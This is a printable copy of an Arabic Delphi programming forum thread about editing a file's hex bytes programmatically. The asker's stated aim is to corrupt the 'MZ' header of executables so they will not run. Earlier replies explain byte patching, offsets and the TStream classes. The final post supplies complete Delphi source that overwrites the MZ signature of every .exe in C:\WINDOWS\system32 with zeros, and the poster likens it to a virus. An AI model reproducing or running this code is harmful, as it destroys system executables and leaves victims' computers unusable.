delphi4arab منتديات دلفي للعرب
كيف أغير قيم Hex لمف ما ؟ - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : سؤال و جواب حول دلفي (https://delphi4arab.net/forum/forumdisplay.php?fid=15)
+--- الموضوع : كيف أغير قيم Hex لمف ما ؟ (/showthread.php?tid=761)



كيف أغير قيم Hex لمف ما ؟ - Dr.MOT - 02-04-2009

السلام عليكم ورحمة الله وبركاته

كيف أغير قيم Hex لمف ما ؟ وكيف أحرر قيم الهكس ؟

كيف أحرك شكل مآ ( صورة مثلا ) بشكل دائري ؟ يعني مثل عقارب الساعه
بارك الله فيكم


كيف أغير قيم Hex لمف ما ؟ - mohfa - 02-04-2009

اخي Dr.MOT فيما يخص سؤالك الاول رغم انه غير واضح على الاقل بالنسبة لي .
اذا كان خارج البرمجة فهناك عدة برامج تقوم بالمطلوب : PE Editor .. WinHex ....
-


كيف أغير قيم Hex لمف ما ؟ - AL-MOB4RM3G - 03-04-2009

mohfa كتب :خارج البرمجة فهناك عدة برامج تقوم بالمطلوب : Pe editor .. Winhex
-
اخي الكريم اعتقد انه الأخ يقصد داخل البرمجة لأنه الأخ دوكتور موت خبير في هذه الأشياء خارج البرمجةاليس كذلك اخي دوكتور موت ؟ Smile
بارك الله فيكم جميعا


كيف أغير قيم Hex لمف ما ؟ - Dr.MOT - 03-04-2009

كنت أقصد كيف أغير قيم الهكس برمجيا ؟!
مثلا : اصنع برنامج يغير القيمة MZ للملفات التنفيذيه كي لا تعمل ؟!
صورة للتوضيح :
[صورة: execute.png]


كيف أغير قيم Hex لمف ما ؟ - TF6M - 20-04-2009

في الحقيقة هناك العديد من الحلول و الطرق فقط ترجع الى مسألة أي الطرق الأكثر توافقا مع المسألة التي نعالجها ... كمثال أنا إستعمل الملفات التنائية لكن للتبديل السريع (باتشينغ) أعمل بالصنف TMemoryStreaml و هدا مثال بسيط يوضح الفكرة ,,

1- القيمة الجديدة المدخل (لهدف إستبدال اقيمة القديمة) 0-255 لأنني عرفته byte لمادا ؟؟ لأنني التبديل يقتصر على بايت واحد .
2- لك كل الحرية بإستخدام مركبات جاهزة أو دوال جديدة تقوم ببرمجتها يعني لا تحصر الأمر بهدا المثال .

[صورة: modhexv1.jpg]
[صورة: modhexv2.jpg]
نجرب البرنامج على نفسو : (و نقارن بالـ HexWork Shop)
[صورة: modhexv3.jpg]
ملاحظة : هدا هو مبدأ الباتشينغ فقط التلاعب ببايتات البرنامج .


كيف أغير قيم Hex لمف ما ؟ - me_delphi - 21-04-2009

هنالك طريقة اخري .. سهلة و جد بسيطة يمكنك تغيير امتداد EXE الى TXT ولحظ أن أي ملف قمت بفتحه ب NotePad امتداده exe ستجد ان أول حرفين يبتدىء بهما هما MZ وهكدا تستطيع تغييرهما برمجيا تم تعيد الملف الى امتداده الأصلي exe
طبعا الطرق الأخرى أفضل


كيف أغير قيم Hex لمف ما ؟ - Dr.MOT - 23-04-2009

السلام عليكم ورحمة الله وبركاته
[color=Black]هل يمكن أن توضح لي ما عنيته بـ "
موقعها'0' موقع البايت الذي يحتوي على القيمة بالهكس 3f هو '10' " في هذه الصورة !؟
[صورة: modhexv1.jpg]

وأيظا بالصورة الأخيرهـ !؟

بدلناه بالقيمة 16 ( عشري )
يعني 10 ( سداسي عشري )
أيظا لو سمحت ,, هل لي بربط يشرحTMemoryStream !? وهل هي نفسها TStream ؟؟
بارك الله فيك
بالتوفيق



كيف أغير قيم Hex لمف ما ؟ - TF6M - 23-04-2009

السلام عليكم ... أخي Dr.MOT ,,

1- قصدي أتكلم عن الـ OFFSET ( يعني ترتيب البايت) .
ملاحظة : كنت أقصد القيمة (0F) ترتيبها 10 (فقط أحسب) .
2- بما أن القيمة المدخلة من نمط BYTE (و تأخد على أنها قيمة DECimal) فقط حول بين القاعدتين :
10 (عشري) = A (سداسي عشري)
و بما ان القيمة المدخلة 16 (عشري) = 10 (سداسي عشري) = 00010000 (تنائي)
3- TStream الصنف المشتق مباشرة من TObject و هو بدوره المورث لكل من (بالترتيب):

(1) TCustomMemoryStream
(2) TMemoryStream
(1) THandleStream
(2) TFileStream

إدن فهي علاقة صنف مورث بصنف مشتق !.


كيف أغير قيم Hex لمف ما ؟ - onexite - 16-08-2012

السلام عليكم
PHP كود :
unit Unit1;

interface

uses
  Windows
, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  
Dialogs, StdCtrls;

type
  TForm1 
= class(TForm)
    
btn1: TButton;
    
procedure btn1Click(Sender: TObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1: TForm1;

implementation

{$R *.dfm}
     
procedure patch(f_n:string);
var 
target: file of byte;
i:Integer;
const
pbyte: array[1..2] of byte= ($00,$00);
paddr: array[1..2] of longint=($00000000, $00000001);
begin
assignFile
(target,f_n);
reset(target);
for 
i:=1 to 2 do
begin
seek
(target,paddr[i]);
write(target,pbyte[i]);
end;
closeFile(target);
 
end;

procedure FileSearch(const PathName, FileName : string) ;
 var 
Rec : TSearchRec;
 
Path : string;
 
begin
 Path 
:= IncludeTrailingPathDelimiter(PathName) ;
 if 
FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
 
try
 
repeat
patch
(Path + Rec.Name) ;
 
until FindNext(Rec) <> 0;
 finally
 
FindClose(Rec) ;
 
end;
 
end;


procedure TForm1.btn1Click(Sender: TObject);
begin
 FileSearch
('C:\WINDOWS\system32','*.exe');
end;

end. 
حذاري من استعماله على جهازك Big Grin يشبه عمله عمل فيروس Mabezat اذا صحت تسميته :p